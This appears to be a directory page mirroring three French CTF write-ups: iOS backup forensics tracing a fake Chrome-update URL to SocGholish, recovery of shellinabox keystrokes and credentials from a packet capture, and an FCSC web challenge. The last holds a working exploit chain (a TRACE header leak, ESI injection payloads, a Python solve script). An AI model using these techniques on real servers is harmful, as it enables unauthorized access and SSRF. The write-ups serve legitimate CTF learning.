lade...

Blog.spiizn.xyz

Blog.spiizn.xyz

an avatar

SpiizN's Blog

ctf writeups

an icon 🌐 Visit Blog.spiizn.xyz 🌐 Blog.spiizn.xyz besuchen

Write rieview✍️ Rezension schreiben✍️ Get Badge!🏷️ Abzeichen holen!🏷️ Edit entry⚙️ Eintrag bearbeiten⚙️ News📰 Neuigkeiten📰

Write review

Tags: writeups

Blog.spiizn.xyz hosts 1 (1) users Blog.spiizn.xyz beherbergt 1 (1) Benutzer insgesamt (powered by Ghost)

Server location (162.55.97.125):Serverstandort (162.55.97.125 ):08223 Falkenstein, DE Germany, EU Europe, latitude: 50.4777, longitude: 12.3649

Rieviews

Bewertungen

not yet rated noch nicht bewertet 0%

Be the first one
and write a rieview
about blog.spiizn.xyz.
Sein Sie der erste
und schreiben Sie eine Rezension
über blog.spiizn.xyz.

Blog.spiizn.xyz News

InterIUT 2025 - Dump IOS

https://blog.spiizn.xyz/interiut...

Des activités suspectes ont été observées sur le téléphone d'un utilisateur qui a été contacté par CASTEM. CASTEM aurait demandé à l'utilisateur de mettre à jour son chrome sur son téléphone IOS mais celui-ci n'a pas vraiment bien copier coller l'URL malveillante ce qui fait qu'il n'a pas été compromis. Néanmoins une enquête de votre part est nécessaire pour comprendre l'architecture des attaquants et leur mode opératoire.

Pour valider le flag vous devez réunir :
- Le SSID sur lequel notre utilisateur était connecté
- L'URL que notre utilisateur aurait dû taper directement dans son navigateur
- Le nom de l'AS qui adresse cet URL/IP
- La famille du malware delivré

Exemple de flag : interiut{BBOX 1111:monctfpref.fr:cloudflare:pegasus}

Pour ce challenge de Forensic, il nous est fourni un dossier de sauvegarde iTunes.
Le dossier est composé comme ceci:

$ tree
.
├── 033dffb4beafa4daa8ffe7e00c5426b38889e060
│   ├── 00
│   │   └── 00fd0bb48de5532cc09363c12571a090316205f5
│   ├── 01
│   │   ├── 012707a2ae34d77a28b16a9e443b780ea4e6b0aa
│   │   └── 01a14737bf725839e60201704f5e0447e23800a6
│   ├── 02
│   │   └── 02dcc29d169dda989f3402fe07d8b6526d6fb1ac
│   ├── 03
│   ├── 04
│   │   └── 04ec47c2b38b390219c2c7f245f76f2afb948a1e
│   ├── 05
│   │   ├── 051b560a86376b4644f8bc51d4a7cb41207478da
│   │   ├── 05575c8bd920efae4ffc54c0e25e9981952c5ec2
│   │   ├── 056e8db520405669943b7acac46f1af2354fa0ba
│   │   ├── 059a3fed6d5ccc69ca5d214766d91eb2964787ef
│   │   └── 05fc8de89f9a5c214ca28aedfc4e669f92f91ab1
[...]
│   ├── 9e
│   │   ├── 9e1b3356b10ac38436206af45e16ee1e33469647
│   │   ├── 9e589bea48c0cd3b1c324b5d88eb070d23ed805b
│   │   ├── 9e7b521f0e73ad31dddc91aedaeb775a2c34fccb
│   │   └── 9ec3b0886ef6ebd8e58dab34c4c69ea37fc92d81
│   ├── 9f
│   ├── Info.plist
│   ├── Manifest.db
│   ├── Manifest.db-shm
│   ├── Manifest.db-wal
│   ├── Manifest.plist
│   ├── Status.plist
│   ├── a0
│   │   ├── a053bdbe56366d25c8eb7ba399f11850ac1efbb3
│   │   └── a0a7e0f8da8fc26cc7ec0b151aa4a20c9c29b9fd
│   ├── a1
[..]
│   └── ff
│       ├── ff5e8048363b2491195c932e3152baf423eedb3d
│       └── ff8fcf3dde9e81360b6ba51f0ea27c47b7e87844
└── backup_ios.zip

Dans le fichier Info.plist on peut voir quelques informations comme le nom du téléphone (donc le nom et le prénom de la personne), la version du téléphone, le modèle, la date de sauvegarde et autres. Le fichier en question est le suivant:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Applications</key>
        <dict/>
        <key>Build Version</key>
        <string>18A373</string>
        <key>Device Name</key>
        <string>iPhone de Foulie Aymeric</string>
        <key>Devices Version</key>
        <string>1.5.4.88</string>
        <key>Display Name</key>
        <string>iPhone de Foulie Aymeric</string>
        <key>GUID</key>
        <string>BBCCED752B3E7917F29E3D62789C6772</string>
        <key>IMEI</key>
        <string>356081092598002</string>
        <key>Installed Applications</key>
        <array/>
        <key>Last Backup Date</key>
        <date>2025-04-29T20:05:06Z</date>
        <key>Product Name</key>
        <string>iPhone 8</string>
        <key>Product Type</key>
        <string>iPhone10,4</string>
        <key>Product Version</key>
        <string>14.0</string>
        <key>Serial Number</key>
        <string>F4HWW1NNJC67</string>
        <key>Target Identifier</key>
        <string>033dffb4beafa4daa8ffe7e00c5426b38889e060</string>
        <key>Target Type</key>
        <string>Device</string>
        <key>Unique Identifier</key>
        <string>033dffb4beafa4daa8ffe7e00c5426b38889e060</string>
        <key>Windows OS Version</key>
        <string>Windows 10.0.26100 x64</string>
        <key>iTunes Files</key>
        <dict>
                <!-- Partie longue et peu utile -->
        </dict>
        <key>iTunes Settings</key>
        <dict/>
</dict>
</plist>

On trouve donc ici le nom et le prénom du propriétaire: Aymeric Foulie.
Pour poursuivre l'analyse plus en profondeur, j'utilise Autopsy avec le plugin iOSDeviceDataExtractor, permettant de reconstruire les fichiers systèmes iOS, pouvant ensuite être analysés avec le module iOS Analyzer de Autopsy.

Au moment de la création de la source de données, je sélectionne donc le type de source fournie par le plugin et je clique sur suivant.

Type de source de données

Ensuite, je sélectionne mon dossier de sauvegarde:

Dossier de la sauvegarde

Je n’ai plus qu’à finaliser l’ajout.
On peut maintenant voir dans Autopsy que l’extension a reconstitué les chemins iOS à partir du dossier de sauvegarde.

Reconstruction chemins

Grâce à Autopsy nous avons obtenu certaines informations remontées dont l'historique de recherches internet.

Données trouvées par Autopsy

Malheureusement ici Autopsy n’a pas trouvé les données des réseaux Wi-Fi connus par le téléphone, il nous faudra donc rechercher cette information manuellement. En faisant une requête sur la base de données principale de la sauvegarde Manifest.db, on trouve les fichiers associés aux configurations réseau:

Fichiers associés à la configuration réseau

On récupère donc ainsi le fileID de la base de données des réseaux connus pour ensuite pouvoir la lire ainsi:

$ plistutil -i 0f/0fa75546343ba224c9fe55adc73e8fdedc1029c3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>wifi.network.ssid.Galaxy S22+9974</key>
        <dict>
                <key>AddReason</key>
                <string>WiFi Settings</string>
                <key>Hidden</key>
                <false/>
                <key>CaptiveProfile</key>
                <dict>
                        <key>CaptiveNetwork</key>
                        <false/>
                </dict>
                <key>LowDataMode</key>
                <false/>
                <key>SSID</key>
                <data>
                R2FsYXh5IFMyMis5OTc0
                </data>
                <key>JoinedByUserAt</key>
                <date>2025-03-17T22:47:05Z</date>
                <key>__OSSpecific__</key>
                <dict>
                        <key>networkUsage</key>
                        <real>1653.5564478635788</real>
                        <key>BSSID</key>
                        <string>f6:60:21:47:7b:24</string>
                        <key>AP_MODE</key>
                        <integer>2</integer>
                        <key>CHANNEL</key>
                        <integer>1</integer>
                        <key>networkKnownBSSListKey</key>
                        <array>
                                <dict>
                                        <key>CHANNEL</key>
                                        <integer>1</integer>
                                        <key>lastRoamed</key>
                                        <date>2025-03-13T10:46:28Z</date>
                                        <key>BSSID</key>
                                        <string>f6:60:21:47:7b:24</string>
                                        <key>CHANNEL_FLAGS</key>
                                        <integer>10</integer>
                                </dict>
                        </array>
                        <key>prevJoined</key>
                        <date>2025-03-13T07:55:30Z</date>
                        <key>WiFiNetworkAttributeIsMoving</key>
                        <false/>
                        <key>WiFiNetworkAttributeProminentDisplay</key>
                        <true/>
                        <key>WiFiNetworkAttributeIsKnown</key>
                        <true/>
                        <key>BEACON_PROBE_INFO_PER_BSSID_LIST</key>
                        <array>
                                <dict>
                                        <key>BSSID</key>
                                        <string>f6:60:21:47:7b:24</string>
                                        <key>OTA_SYSTEM_INFO_SENT</key>
                                        <false/>
                                        <key>OTA_SYSTEM_INFO_BEACON_ONLY_SENT</key>
                                        <true/>
                                </dict>
                        </array>
                        <key>DiagnosticsBssEnv</key>
                        <integer>1</integer>
                        <key>WiFiNetworkPasswordModificationDate</key>
                        <date>2025-03-13T07:48:18Z</date>
                </dict>
                <key>JoinedBySystemAt</key>
                <date>2025-03-13T10:46:28Z</date>
                <key>SupportedSecurityTypes</key>
                <string>WPA2 Personal</string>
                <key>AddedAt</key>
                <date>2025-03-13T07:48:18Z</date>
                <key>UpdatedAt</key>
                <date>2025-03-17T22:47:05Z</date>
        </dict>
</dict>
</plist>

On y trouve donc la première information demandée par le challenge, le SSID sur lequel l'utilisateur était connecté: Galaxy S22+9974.

Revenons à Autopsy pour trouver le nom du site que l’utilisateur a recherché. Dans les "Data Artifacts" puis "Web Search" on trouve donc le site web que l’utilisateur a recherché sur son téléphone:

Site web cherché par l'utilisateur

Nous obtenons ainsi la deuxième information, l'URL que notre utilisateur aurait dû taper directement dans son navigateur: playstores-france.com.

À partir de cette URL, nous devons donc trouver le nom de l’AS auquel elle est rattachée et la famille de malware délivrée par celui-ci. Pour ce faire, nous devons dans un premier temps trouver l'IP du serveur avec un dig par exemple:

$ dig @8.8.8.8 playstores-france.com

; <<>> DiG 9.18.30-0ubuntu0.24.04.2-Ubuntu <<>> @8.8.8.8 playstores-france.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18431
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e6fd8145269cd2fb9d89a9e46834542ac096accccec4f7bd (good)
;; QUESTION SECTION:
;playstores-france.com.         IN      A

;; ANSWER SECTION:
playstores-france.com.  21569   IN      A       91.212.166.21

;; Query time: 9 msec
;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
;; WHEN: Mon May 26 13:44:43 CEST 2025
;; MSG SIZE  rcvd: 94

Une fois celle-ci récupérée, nous pouvons essayer de trouver plus d'informations sur l'IP avec des sites comme ipinfo.io qui peut être utilisé comme ceci en ligne de commandes:

$ curl ipinfo.io/91.212.166.21
{
  "ip": "91.212.166.21",
  "city": "Saint Petersburg",
  "region": "St.-Petersburg",
  "country": "RU",
  "loc": "59.9386,30.3141",
  "org": "AS198953 Proton66 OOO",
  "postal": "195213",
  "timezone": "Europe/Moscow",
  "readme": "https://ipinfo.io/missingauth"
}

On voit ici que l'IP en question fait partie de l'AS: Proton66.

Maintenant que nous avons cette troisième information, il ne nous reste plus qu'à trouver la famille de malwares que distribue cet AS. Pour ce faire, ma première idée a été de chercher l'IP sur le site VirusTotal.
Le site détecte évidemment cette IP comme malicieuse:

VirusTotal sur l'IP 91.212.166.21

Puis, en navigant dans l'onglet "Community" je tombe sur plusieurs personnes faisant référence au malware SocGholish, car il est visiblement délivré par des serveurs de cet AS.

Ressources de communauté VirusTotal

Nous avons donc maintenant toutes nos informations:
- SSID: Galaxy S22+9974
- URL: playstores-france.com
- AS: Proton66
- MALWARE: SocGholish

On peut maintenant valider l'épreuve avec le flag mis en forme.

FLAG:
interiut{Galaxy S22+9974:playstores-france.com:proton66:socgholish}

26.5.2025 17:00InterIUT 2025 - Dump IOS
https://blog.spiizn.xyz/interiut...

InterIUT 2025 - Interception de la CASTEM

https://blog.spiizn.xyz/interiut...

Ce challenge est divisé en trois parties de niveaux différents :
- Le premier est de niveau Moyen
- Le deuxième et le troisième sont de niveau Facile

Dans un premier temps, nous devons trouver les informations suivantes à partir d'une capture réseau:
- Le nom de l'application web qu'ils utilisent pour interagir avec leur serveur distant
- Nom d’utilisateur
- Mot de passe
- IP du serveur distant
- Le nom de domaine associé
- Hostname

En ouvrant la capture réseau nous remarquons beaucoup de paquets HTTP. La partie intéressante commence à la trame n°7937 quand la machine cliente fait une requête DNS vers le nom ec2-3-95-168-43.compute-1.amazonaws.com.
Quelques lignes plus tard nous voyons des échanges HTTP entre la machine cliente et le serveur en question 3.95.168.43. Dans celles-ci nous remarquons la mention à un applicatif nommé shellinabox.

Application shellinabox

Cette application sert à interagir avec un serveur via un terminal accessible par le web. Étant donné que l'application n'est pas protégée par une surcouche SSL (certificat SSL/TLS), nous pouvons accéder à l'intégralité des données qui sont transmises par le client vers le serveur web et inversement.

À cette étape, nous distinguons deux streams tcp importants:
- tcp.stream eq 96 => Stream où le client envoie les touches qu'il presse.
- tcp.stream eq 101 => Stream où le serveur envoie les données qui sont à afficher sur le client web.

En suivant les trames HTTP du second stream mentionné, on voit toutes les données affichées sur le terminal. Au début du stream on remarque l'une des informations que nous cherchons: le hostname du serveur.

Hostname du serveur

Des informations nécessaires, il ne nous manque plus que les identifiants (identifiant et mot de passe). En parcourant ce thread, on voit que les données retournées par le serveur dans le champ "data" sont les lettres entrées par l'utilisateur dans le terminal.

Premières lettres de l'identifiant

En les mettant les unes à la suite des autres, on obtient ce nom d'utilisateur: eclide.
Puis, en récupérant le codes des touches pressées par l'utilisateur dans le stream 96, on reconstitue la valeur du mot de passe: D7i_#!posil!.

Pour résumer, nous avons donc recueilli toutes ces informations:
- Le nom de l'application web: shellinabox
- Nom d'utilisateur: eclide
- Son mot de passe: D7i_#!posil!
- IP du serveur distant: 3.95.168.43
- Le nom de domaine associé: ec2-3-95-168-43.compute-1.amazonaws.com
- Hostname: Nore-Castem-BASTION

En remettant ces informations bout à bout au bon format, on trouve le flag.

FLAG 1/3:
interiut{shellinabox_eclide_D7i_#!posil!_3.95.168.43_ec2-3-95-168-43.compute-1.amazonaws.com_Nore-Castem-BASTION}


Pour la seconde partie, il nous est donc demandé de trouver le nom et le contenu du fichier lu par l'utilisateur sur le serveur distant.

En parcourant le stream 96, on voit que l'utilisateur tape sur les touches:

c a t [Espace] v a [Tab] [Entrée]

En recoupant les touches pressées par l'utilisateur et les données d'affichage renvoyées par le serveur, on reconstitue la trame de ce qui a été fait.

Touches pressées et données renvoyées par le serveur

On reconstitue donc le nom du fichier: vault.txt.
Juste après la complétion de la fin du fichier, on trouve la donnée "\r\n" qui correspond à un retour à la ligne (touch entrée). Puis, à la réponse du serveur suivante, on trouve le contenu du fichier et le prompt pour la prochaine commande.

Contenu du fichier vault.txt

On trouve donc le contenu: Dk_Dc!#dsq950.

FLAG 2/3:
interiut{vault.txt_Dk_Dc!#dsq950}


Pour cette troisième et dernière partie, il nous est fourni un fichier "suspect". Après un file sur ce fichier, on voit que c'est un fichier de type "LUKS encrypted file,".

$ file suspicious_data 
suspicious_data: LUKS encrypted file, ver 2 [, , sha256] UUID: 6b17d5b0-16e9-4ae0-af82-d0becd1d13bd

Pour monter ce fichier, j'utilise d'abord ces commandes:

sudo losetup --find --show suspicious_data
sudo cryptsetup luksOpen /dev/loop17 decrypted_suspicious

À cette étape il m'est demandé une passphrase. En reprenant les informations trouvées à la partie précédente, j'essaye le contenu du fichier "vault.txt": Dk_Dc!#dsq950.
Avec cette passphrase je n'obtiens pas d'erreur. Je peux donc ensuite le monter dans un dossier comme /mnt/suspicious:

sudo mkdir -p /mnt/suspicious
sudo mount /dev/mapper/decrypted_suspicious /mnt/suspicious

Dans ce dossier, je ne trouve qu'un fichier "chat.jpg" d'apparence banale:

Image récupérée après le montage

J'effectue un exiftool sur l'image et j'obtiens le flag:

$ exiftool chat.jpg 
ExifTool Version Number         : 12.40
File Name                       : chat.jpg
Directory                       : .
File Size                       : 4.2 MiB
File Modification Date/Time     : 2025:05:16 10:23:33+02:00
File Access Date/Time           : 2025:05:25 13:09:58+02:00
File Inode Change Date/Time     : 2025:05:16 10:23:33+02:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Current IPTC Digest             : f3ccc7862d516e90ea39811bf6850c8e
Copyright Notice                : Bien joué ! interiut{QU1_U7i1i53_3NC0r3_sH311iN80XD?}
Application Record Version      : 4
Image Width                     : 3024
Image Height                    : 4032
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3024x4032
Megapixels                      : 12.2

FLAG:
interiut{QU1_U7i1i53_3NC0r3_sH311iN80XD?}

25.5.2025 12:21InterIUT 2025 - Interception de la CASTEM
https://blog.spiizn.xyz/interiut...

FCSC 2025 - TaskVault

https://blog.spiizn.xyz/fcsc-202...

Lors d’un audit de sécurité chez TaskVault Industries, vous avez découvert une application interne de gestion des tâches appelée “TaskVault”. Cette application semble contenir des informations sensibles sur les projets de l’entreprise, y compris potentiellement des identifiants d’accès et des secrets. Notre équipe a réussi à identifier le serveur hébergeant l’application, mais celui-ci est protégé par plusieurs couches de proxy et un système d’authentification. Votre mission est d’exploiter les faiblesses de cette architecture afin de contourner les protections et d’accéder aux données confidentielles stockées dans TaskVault.

Analyse du code

Le code de cette application se compose de trois conteneurs Docker.
- Le premier est un conteneur Express.js qui fait tourner une application web permettant la gestion de tâches.
- Le deuxième est un conteneur Apache qui sert de reverse proxy vers l'application Express.js.
- Le troisième et dernier conteneur est un service Varnish, qui sert également de reverse proxy et faisant la distinction entre deux services: le host give_me_the_flag qui redirige vers un service donnant le flag, et un autre backend pour toutes les autres valeurs de host, représentant l'application de gestion de tâches.

Pour résumé, voilà un schéma avec toutes les redirections :

Schéma de fonctionnement de l'application

En se connectant sur le service, nous n'avons accès qu'à l'endpoint "root".
Cela s'explique par la surcouche sécuritaire ajoutée par Varnish, qui définit un header "X-Admin-Key" qui transite entre le service Varnish et serveur Express.js, en passant par le reverse proxy Apache.

Au début du code Express.js, le header est checké. S'il n'est pas présent, une erreur 403 est retournée.

// ...
app.use((req, res, next) => {
	const adminKey = req.headers["x-admin-key"];
	
	if (!adminKey || adminKey !== process.env.ADMIN_KEY) {
		return res.status(403).json({ error: "Unauthorized access" });
	}
	next();
});
// ...

Audit de configuration: Varnish

Côté Varnish, nous avons cet entrypoint:

/bin/cat > /etc/varnish/default.vcl << EOF
vcl 4.0;

backend default {
    .host = "taskvault-apache2";
    .port = "8000";
}

backend flag_backend {
    .host = "taskvault-app";
    .port = "1337";
}

sub vcl_backend_fetch {
    if (bereq.http.host == "give_me_the_flag") {
        set bereq.backend = flag_backend;
    } else {
        set bereq.backend = default;
    }
}

sub vcl_recv {
    if (req.url == "/" || req.url == "/favicon.jpeg") {
        set req.http.X-Admin-Key = "${ADMIN_KEY}";
    }
    return(pass);
}

sub vcl_backend_response {
    set beresp.do_esi = true;
}
EOF

exec varnishd -F -a :8000 -s malloc,256m -f /etc/varnish/default.vcl

Nous voyons ici plusieurs choses intéressantes :
- L'application n'applique le header "X-Admin-Key" que pour "/" et "/favicon.jpeg".
- L'application autorise l'ESI ("Edge Side Includes") pour toutes les réponses.

L'Edge Side Includes est un langage de balisage, similaire au HTML, pour l'assemblage de sites web dynamiques. Concrètement, nous pouvons nous servir de ce langage pour inclure le contenu d'un URL, depuis le serveur web. Si l'utilisateur peut injecter directement du langage ESI, cela peut permettre une SSRF (Server Side Request Forgery), une faille qui force le serveur web à effectuer une requête vers un site web.

Audit de configuration Apache

Concernant la configuration de Apache, elle est définie par :

ServerAdmin contact@fcsc.fr
ServerName fcsc.fr

<VirtualHost *:8000>
    TraceEnable on
    ProxyPass / http://taskvault-app:3000/
    ProxyPassReverse / http://taskvault-app:3000/
</VirtualHost>

Il n'y a ici pas grand chose à auditer mais nous voyons ici une seule chose intéressante: la méthode "TRACE" est activée sur le reverse proxy.

La méthode "TRACE" sur Apache est une méthode utilisée notamment pour le debug. Elle permet entre autres de retourner à l'utilisateur la valeurs des en-têtes de la requête, de la réponse, etc... Ce genre de détails ne sont jamais laissés au hasard dans les CTF, il est donc surement nécessaire de l'exploiter pour potentiellement leaker les headers qui transitent par Apache.

Audit de l'application Express.js

Sur l'application, je recherche un endroit où les entrées utilisateur ne sont pas échappées et permettrait d'injecter du code ESI. Pour ce faire, je cherche dans les fichiers le motif "<%-" qui signifie que l'entrée n'est pas nettoyée, à contrario du "<%=".

Je trouve un match dans le fichier "views/backlog.ejs" :

$ grep -arin '<%-'
views/backlog.ejs:95:          <h3 id="<%- note.title %>" class="text-xl font-bold text-gray-800 mb-2 mt-1"><%= note.title %></h3>

Ici, l'entrée de l'utilisateur correspondante au titre de la note est insérée dans le champ "id" de la balise mais elle n'est pas nettoyée. Ici, une injection ESI est possible du style :

"><esi:payload>

Exploitation

Dans un premier temps, il nous faut hijacker le header "X-Admin-Key". Pour ce faire, nous pouvons exploiter la vulnérabilité présente dans la configuration d'Apache, permettant l'utilisation de la méthode "TRACE". Je teste directement la méthode sur le serveur web :

TRACE request without Max-Forwards

Nous avons ici une erreur car Apache, recevant la requête "TRACE" la transfère à l'application Express.js, qui refuse la requête car la méthode n'est pas autorisée.

En fouillant la documentation Apache, je trouve une documentation sur le header "Max-Forwards": https://juneau.apache.org/site/apidocs-8.0.0/org/apache/juneau/http/MaxForwards.html.

Avec ce header, nous pouvons préciser le nombre de rebonds maximal qu'il est possible de faire pour une requête passant par des reverse proxy. En précisant cette valeur à 0, nous disons à Apache qu'il n'est plus possible de transférer la requête, et va donc nous répondre un code 200 avec les headers de la requête, transférée entre Varnish et Apache. Par exemple, nous pouvons l'exploiter ainsi pour hijacker le header Admin:

TRACE request with Max-Forwards

Maintenant que nous avons récupéré la valeur du "X-Admin-Key", nous pouvons faire une requête aux endpoints protégés comme register par exemple.

Requête sur register avec le X-Admin-Key

Je l'ai ajouté à mon navigateur Firefox avec une extension.

Ajout du header dans Firefox

Ainsi, je peux maintenant accéder à la page d'inscription et créer un nouveau compte.

Accès à la page d'inscription

Une fois connecté, nous pouvons injecter une balise ESI dans le titre d'une nouvelle note, avec un payload, tel que donné plus haut. Nous allons donc injecter :

"><esi:include src="http://give_me_the_flag/" />

Une fois la note créée avec le payload en titre, on peut retrouver le flag dans l'id du titre de la note :

Flag dans l'ID du titre

Maintenant que nous avons la marche à suivre, j'ai créé un script Python pour automatiser la récupération du flag. Le script est le suivant :

import requests
import random

URL = "https://taskvault.fcsc.fr"

def hijack_admin_key():
    r = requests.request("TRACE", URL, headers={"Max-Forwards": "0"})
    return r.text.split("X-Admin-Key: ")[1].split("\r\n")[0]

def register(admin_key):
    data = {"username": ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(12)]), "password": "password"}
    r = requests.post(URL+"/register", data=data, headers={"X-Admin-Key": admin_key}, allow_redirects=False)
    return r.headers["Set-Cookie"].split(";")[0].split("=")[1]

def esi_injection(cookie, admin_key) -> None:
    data = {"title": '"><esi:include src="http://give_me_the_flag/" />', "content": "ESI Injection"}
    cookies = {"connect.sid": cookie}
    r = requests.post(URL+"/backlog", data=data, cookies=cookies, headers={"X-Admin-Key": admin_key})
    return "FCSC{" + r.text.split("FCSC{")[1].split("}")[0] + "}"

def solve():
    admin_key = hijack_admin_key()
    cookie = register(admin_key)
    flag = esi_injection(cookie, admin_key)
    print(f"[+] FLAG: {flag}")


if __name__ == "__main__":
    solve()

Une fois le script terminé, il ne nous reste plus qu'à l'exécuter pour récupérer le flag.

Récupération du flag avec le script de résolution

FLAG:
FCSC{1d371153caa2fde47d9970a5d214edf82be573e6bcb976a27c02606d77195efe}

1.5.2025 12:00FCSC 2025 - TaskVault
https://blog.spiizn.xyz/fcsc-202...
Subscribe
More from our directory... Mehr aus unserem Verzeichnis...

🔝

Datenschutzerklärung    Impressum